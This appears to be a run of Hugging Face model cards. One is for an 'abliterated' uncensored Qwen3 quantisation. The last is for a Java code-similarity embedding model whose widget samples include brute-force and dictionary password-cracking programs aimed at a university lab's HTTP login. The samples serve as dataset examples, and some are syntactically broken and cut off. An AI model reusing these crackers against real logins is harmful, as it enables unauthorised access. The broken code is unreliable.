author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->
|
ganlinyang/InternVL-Embodied
|
ganlinyang
| 2025-09-23T17:00:48Z | 0 | 0 | null |
[
"safetensors",
"license:apache-2.0",
"region:us"
] | null | 2025-08-03T12:04:54Z |
---
license: apache-2.0
---
|
ggomarr/legal-bert-base-uncased-safetensors
|
ggomarr
| 2025-09-23T16:59:09Z | 3 | 0 |
transformers
|
[
"transformers",
"safetensors",
"bert",
"feature-extraction",
"legal",
"arxiv:2010.02559",
"license:cc-by-sa-4.0",
"text-embeddings-inference",
"endpoints_compatible",
"region:us"
] |
feature-extraction
| 2025-09-10T02:19:17Z |
---
license: cc-by-sa-4.0
tags:
- legal
- bert
- safetensors
library_name: transformers
---
# Legal-BERT Base Uncased (Safetensors)
This is a **safetensors** serialization of the model [nlpaueb/legal-bert-base-uncased](https://huggingface.co/nlpaueb/legal-bert-base-uncased).
It is functionally identical to the original, but uses the [safetensors](https://github.com/huggingface/safetensors) format for:
* Faster and safer loading
* Avoiding pickle security issues
* Compatibility with Hugging Face’s recommended serialization format
---
## Model Details
* **Base model:** [nlpaueb/legal-bert-base-uncased](https://huggingface.co/nlpaueb/legal-bert-base-uncased)
* **Architecture:** BERT (encoder-only, uncased)
* **License:** CC-BY-SA-4.0 (see [LICENSE](./LICENSE))
* **Author of original model:** NLP at AUEB group
* **Conversion:** Converted to safetensors using `transformers` with `safe_serialization=True`.
---
## Usage
```python
from transformers import AutoTokenizer, AutoModel
repo\_id = "your-username/legal-bert-base-uncased-safetensors"
tokenizer = AutoTokenizer.from\_pretrained(repo\_id)
model = AutoModel.from\_pretrained(repo\_id)
inputs = tokenizer("The court finds the defendant guilty.", return\_tensors="pt")
outputs = model(\*\*inputs)
```
The outputs are identical to the PyTorch `.bin` version of the model.
---
## Citation
```bibtex
@article{chalkidis2020legal,
title={LEGAL-BERT: The Muppets straight out of Law School},
author={Chalkidis, Ilias and Fergadiotis, Manos and Malakasiotis, Prodromos and Aletras, Nikolaos and Androutsopoulos, Ion},
journal={arXiv preprint arXiv:2010.02559},
year={2020}
}
```
---
## License
This model is distributed under the [Creative Commons Attribution-ShareAlike 4.0 International License](./LICENSE), in accordance with the license of the original [legal-bert-base-uncased](https://huggingface.co/nlpaueb/legal-bert-base-uncased) model.
|
noobmaster6009/Qwen2.5-0.5B-Instruct-Gensyn-Swarm-territorial_finicky_wombat
|
noobmaster6009
| 2025-09-23T16:57:19Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2",
"text-generation",
"rl-swarm",
"genrl-swarm",
"grpo",
"gensyn",
"I am territorial_finicky_wombat",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-22T15:43:31Z |
---
library_name: transformers
tags:
- rl-swarm
- genrl-swarm
- grpo
- gensyn
- I am territorial_finicky_wombat
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
dcv21/Huihui-Qwen3-8B-abliterated-v2-Q4_K_M-GGUF
|
dcv21
| 2025-09-23T16:53:10Z | 0 | 0 |
transformers
|
[
"transformers",
"gguf",
"chat",
"abliterated",
"uncensored",
"llama-cpp",
"gguf-my-repo",
"text-generation",
"base_model:huihui-ai/Huihui-Qwen3-8B-abliterated-v2",
"base_model:quantized:huihui-ai/Huihui-Qwen3-8B-abliterated-v2",
"license:apache-2.0",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:52:46Z |
---
library_name: transformers
license: apache-2.0
license_link: https://huggingface.co/Qwen/Qwen3-8B/blob/main/LICENSE
pipeline_tag: text-generation
base_model: huihui-ai/Huihui-Qwen3-8B-abliterated-v2
tags:
- chat
- abliterated
- uncensored
- llama-cpp
- gguf-my-repo
---
# dcv21/Huihui-Qwen3-8B-abliterated-v2-Q4_K_M-GGUF
This model was converted to GGUF format from [`huihui-ai/Huihui-Qwen3-8B-abliterated-v2`](https://huggingface.co/huihui-ai/Huihui-Qwen3-8B-abliterated-v2) using llama.cpp via the ggml.ai's [GGUF-my-repo](https://huggingface.co/spaces/ggml-org/gguf-my-repo) space.
Refer to the [original model card](https://huggingface.co/huihui-ai/Huihui-Qwen3-8B-abliterated-v2) for more details on the model.
## Use with llama.cpp
Install llama.cpp through brew (works on Mac and Linux)
```bash
brew install llama.cpp
```
Invoke the llama.cpp server or the CLI.
### CLI:
```bash
llama-cli --hf-repo dcv21/Huihui-Qwen3-8B-abliterated-v2-Q4_K_M-GGUF --hf-file huihui-qwen3-8b-abliterated-v2-q4_k_m.gguf -p "The meaning to life and the universe is"
```
### Server:
```bash
llama-server --hf-repo dcv21/Huihui-Qwen3-8B-abliterated-v2-Q4_K_M-GGUF --hf-file huihui-qwen3-8b-abliterated-v2-q4_k_m.gguf -c 2048
```
Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well.
Step 1: Clone llama.cpp from GitHub.
```
git clone https://github.com/ggerganov/llama.cpp
```
Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux).
```
cd llama.cpp && LLAMA_CURL=1 make
```
Step 3: Run inference through the main binary.
```
./llama-cli --hf-repo dcv21/Huihui-Qwen3-8B-abliterated-v2-Q4_K_M-GGUF --hf-file huihui-qwen3-8b-abliterated-v2-q4_k_m.gguf -p "The meaning to life and the universe is"
```
or
```
./llama-server --hf-repo dcv21/Huihui-Qwen3-8B-abliterated-v2-Q4_K_M-GGUF --hf-file huihui-qwen3-8b-abliterated-v2-q4_k_m.gguf -c 2048
```
|
lhkhiem28/MolT-Rex-DrugADMET-Caco-2-llasmol-llama-2-7b-sft
|
lhkhiem28
| 2025-09-23T16:51:10Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"hf_jobs",
"sft",
"trl",
"base_model:lhkhiem28/MolT-Rex-SMolInstruct-llama-2-7b-merged",
"base_model:finetune:lhkhiem28/MolT-Rex-SMolInstruct-llama-2-7b-merged",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T16:48:53Z |
---
base_model: lhkhiem28/MolT-Rex-SMolInstruct-llama-2-7b-merged
library_name: transformers
model_name: MolT-Rex-DrugADMET-Caco-2-llasmol-llama-2-7b-sft
tags:
- generated_from_trainer
- hf_jobs
- sft
- trl
licence: license
---
# Model Card for MolT-Rex-DrugADMET-Caco-2-llasmol-llama-2-7b-sft
This model is a fine-tuned version of [lhkhiem28/MolT-Rex-SMolInstruct-llama-2-7b-merged](https://huggingface.co/lhkhiem28/MolT-Rex-SMolInstruct-llama-2-7b-merged).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="lhkhiem28/MolT-Rex-DrugADMET-Caco-2-llasmol-llama-2-7b-sft", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/kle3/MolT-Rex/runs/sw0qud2p)
This model was trained with SFT.
### Framework versions
- TRL: 0.22.2
- Transformers: 4.55.4
- Pytorch: 2.8.0
- Datasets: 3.6.0
- Tokenizers: 0.21.4
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
phospho-app/gr00t-Marker_pickup_piper-v130nlie3i
|
phospho-app
| 2025-09-23T16:45:51Z | 0 | 0 |
phosphobot
|
[
"phosphobot",
"safetensors",
"gr00t_n1_5",
"gr00t",
"robotics",
"dataset:LegrandFrederic/Marker_pickup_piper",
"region:us"
] |
robotics
| 2025-09-23T14:55:32Z |
---
datasets: LegrandFrederic/Marker_pickup_piper
library_name: phosphobot
pipeline_tag: robotics
model_name: gr00t
tags:
- phosphobot
- gr00t
task_categories:
- robotics
---
# gr00t model - 🧪 phosphobot training pipeline
- **Dataset**: [LegrandFrederic/Marker_pickup_piper](https://huggingface.co/datasets/LegrandFrederic/Marker_pickup_piper)
- **Wandb run id**: None
## This model was trained using **[🧪phospho](https://phospho.ai)**
Training was successful, try it out on your robot!
## Training parameters
```text
{
"validation_dataset_name": null,
"batch_size": 49,
"num_epochs": 10,
"save_steps": 1000,
"learning_rate": 0.0001,
"data_dir": "/tmp/outputs/data",
"validation_data_dir": "/tmp/outputs/validation_data",
"output_dir": "/tmp/outputs/train"
}
```
📖 **Get Started**: [docs.phospho.ai](https://docs.phospho.ai?utm_source=huggingface_readme)
🤖 **Get your robot**: [robots.phospho.ai](https://robots.phospho.ai?utm_source=huggingface_readme)
|
Kijai/vitpose_comfy
|
Kijai
| 2025-09-23T16:44:53Z | 0 | 0 | null |
[
"onnx",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T16:38:05Z |
---
license: apache-2.0
---
|
Zynara/Zynara
|
Zynara
| 2025-09-23T16:44:26Z | 0 | 0 | null |
[
"license:apache-2.0",
"region:us"
] | null | 2025-07-10T17:03:20Z |
---
license: apache-2.0
---
|
pandoradox/oscillator1-qwen2p5-0.5b-instruct-checkpoint-400
|
pandoradox
| 2025-09-23T16:40:39Z | 0 | 0 | null |
[
"safetensors",
"qwen2.5",
"0.5b",
"instruct",
"lora",
"checkpoint-400",
"license:other",
"region:us"
] | null | 2025-09-23T16:40:35Z |
---
license: other
tags: ['qwen2.5', '0.5b', 'instruct', 'lora', 'checkpoint-400']
task: text-generation
---
# oscillator1-qwen2p5-0.5b-instruct-checkpoint-400
LoRA checkpoint uploaded automatically.
Source path: /home/grads/parshinshojaee/llm-sr2l/grpo_checkpoints/oscillator1-Qwen2.5-0.5B-Instruct-prompt2000-r8-ga8-ng64-lr1e-06/checkpoint-400
|
pandoradox/bactgrow-qwen2p5-0.5b-instruct-checkpoint-400
|
pandoradox
| 2025-09-23T16:40:34Z | 0 | 0 | null |
[
"safetensors",
"qwen2.5",
"0.5b",
"instruct",
"lora",
"checkpoint-400",
"license:other",
"region:us"
] | null | 2025-09-23T16:40:30Z |
---
license: other
tags: ['qwen2.5', '0.5b', 'instruct', 'lora', 'checkpoint-400']
task: text-generation
---
# bactgrow-qwen2p5-0.5b-instruct-checkpoint-400
LoRA checkpoint uploaded automatically.
Source path: /home/grads/parshinshojaee/llm-sr2l/grpo_checkpoints/bactgrow-Qwen2.5-0.5B-Instruct-prompt2000-r8-ga8-ng64-lr1e-06/checkpoint-400
|
trongg/haizzzzz
|
trongg
| 2025-09-23T16:38:46Z | 10 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-17T10:03:53Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2
|
buelfhood
| 2025-09-23T16:37:45Z | 0 | 0 |
sentence-transformers
|
[
"sentence-transformers",
"safetensors",
"roberta",
"sentence-similarity",
"feature-extraction",
"dense",
"generated_from_trainer",
"dataset_size:34368",
"loss:CachedMultipleNegativesRankingLoss",
"dataset:buelfhood/SOCO_TRAIN_java",
"arxiv:1908.10084",
"arxiv:2101.06983",
"base_model:huggingface/CodeBERTa-small-v1",
"base_model:finetune:huggingface/CodeBERTa-small-v1",
"autotrain_compatible",
"text-embeddings-inference",
"endpoints_compatible",
"region:us"
] |
sentence-similarity
| 2025-09-23T16:37:33Z |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:34368
- loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport\
\ java.util.*;\n\nclass BruteForce {\n\n String password=\"\";\n\n int num\
\ =401;\n\n\n public static void main (String[] args) {\n\n String str=\"\
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n BruteForce URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n\
\ \t\t\n \t\t\"Usage : java BruteForce <username>\");\n \treturn;\n\
\ \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\
\n System.out.println (\" \" + new Date());\n \n System.out.println\
\ (\"Using BruteForce method attack \"+username+\"'s password.Please waiting.......\"\
);\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\
\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ String line =\"\";\n \n if (args.length == 0) {\n \t\n \
\ System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\"\
);\n return;\n \t\n }\n \n String username = args[0];\n\
\ \n \n t0=System.currentTimeMillis();\n \n System.out.println\
\ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\
\ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\
\ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\
));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\
\ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\
\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \
\ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds\");\n \n System.out.println (\"Finish\
\ \" + new Date());\n \n \treturn;\n\n \
\ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\
System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\
\ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\
\ public Dictionary (String password,String username) {\n\n \t String urlString\
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \
\ String userPassword = username+\":\"+password ;\n\n String encoding\
\ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\
\ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "import java.util.*;\nimport java.io.*;\nimport java.*;\n\npublic class Dogs5\n\
{\n public static void main(String [] args) throws Exception\n { \n \
\ executes(\"rm index.*\");\n executes(\"wget http://www.cs.rmit.edu./students\"\
);\n\n while (true)\n {\n String addr= \"wget http://www.cs.rmit.edu./students\"\
;\n executes(addr);\n String hash1 = md5sum(\"index.html\");\n\
\ String hash2 = md5sum(\"index.html.1\");\n System.out.println(hash1\
\ +\"|\"+ hash2);\n \n BufferedReader buf = new BufferedReader(new FileReader(\"\
/home/k//Assign2/ulist1.txt\"));\n\n String line=\" \" ;\n String\
\ line1=\" \" ;\n String line2=\" \";\n String line3=\" \";\n\
\ String[] cad = new String[10];\n \n executes(\"./.sh\"\
);\n \n int i=0;\n while ((line = buf.readLine()) != null)\n\
\ {\n \n line1=\"http://www.cs.rmit.edu./students/images\"\
+line;\n if (i==1)\n line2=\"http://www.cs.rmit.edu./students/images\"\
+line;\n if (i==2)\n line3=\"http://www.cs.rmit.edu./students/images\"\
+line;\n i++;\n }\n System.out.println(line1+\" \"\
+line2+\" \"+line3); \n\n\n executes(\"wget \"+line1);\n executes(\"\
wget \"+line2);\n executes(\"wget \"+line3);\n \n String\
\ hash3 = md5sum(\"index.html.2\"); \n String hash4 = md5sum(\"index.html.3\"\
); \n String hash5 = md5sum(\"index.html.4\");\n\n \n\n\nBufferedReader\
\ buf2 = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\
\n String linee=\" \" ;\n String linee1=\" \" ;\n String\
\ linee2=\" \";\n String linee3=\" \";\n\n executes(\"./ip1.sh\"\
);\n\n int j=0;\n while ((linee = buf2.readLine()) != null)\n\
\ {\n\n linee1=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n if (j==1)\n linee2=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n if (j==2)\n linee3=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n j++;\n }\n System.out.println(line1+\" \"\
+line2+\" \"+line3);\n\n\n executes(\"wget \"+linee1);\n executes(\"\
wget \"+linee2);\n executes(\"wget \"+linee3);\n\n String hash6\
\ = md5sum(\"index.html.5\");\n String hash7 = md5sum(\"index.html.6\"\
);\n String hash8 = md5sum(\"index.html.7\"); \n \n \
\ boolean pict=false;\n if (hash3.equals(hash6))\n pict=true;\n\
\n boolean pict2=false;\n if (hash3.equals(hash6))\n \
\ pict2=true;\n \n boolean pict3=false;\n if (hash3.equals(hash6))\n\
\ pict3=true;\n\n \n if (hash1.equals(hash2))\n \
\ { \n executes(\"./difference.sh\");\n executes(\"./mail.sh\"\
);\n \n \n\n }\n else\n {\n if (pict\
\ || pict2 || pict3)\n {\n executes(\".~/Assign2/difference.sh\"\
); \n executes(\".~/Assign2/mail2.sh\");\n \
\ }\n\n executes(\".~/Assign2/difference.sh\");\n executes(\"\
.~/Assign2/mail.sh\");\n \n \n \n executes(\"./reorder.sh\"\
);\n executes(\"rm index.html\");\n executes(\"cp index.html.1\
\ index.html\");\n executes(\"rm index.html.1\");\n executes(\"\
sleep 5\"); \n } \n }\n }\n\n public static void executes(String\
\ comm) throws Exception\n {\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", comm });\n\n BufferedReader bf = new BufferedReader(new\
\ InputStreamReader(p.getErrorStream()));\n\n String cad;\n while((\
\ cad = bf.readLine()) != null)\n {\n System.out.println();\n\
\ }\n\t p.waitFor();\n }\n\n public static String md5sum(String file)\
\ throws Exception\n {\n String cad;\n String hash= \" \"; \n\
\n Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\"\
,\n \"-c\", \"md5sum \"+file });\n\
\ BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
\n while((bf = cad.readLine()) != null)\n {\n StringTokenizer\
\ word=new StringTokenizer();\n hash=word.nextToken();\n System.out.println(hash);\n\
\ }\n return hash; \n\n }\n\n \n \n}\n\n"
- "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class BruteForce\n\
{\n public static void main(String[] args) throws Exception\n {\n \n\
\ String password = checkPassword(); \n\n System.out.println(\"Congratulations\
\ Your password is \"+ password );\n \n \n\n URL url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(\":\"+password));\n\
\ BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));\n\
\ String inputLine;\n\n while ((inputLine = in.readLine()) != null)\n\
\ System.out.println(inputLine);\n in.close();\n }\n\n \n\n \
\ private static String checkPassword() throws Exception\n {\n String\
\ Password=\" \";\n int attempt=0;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
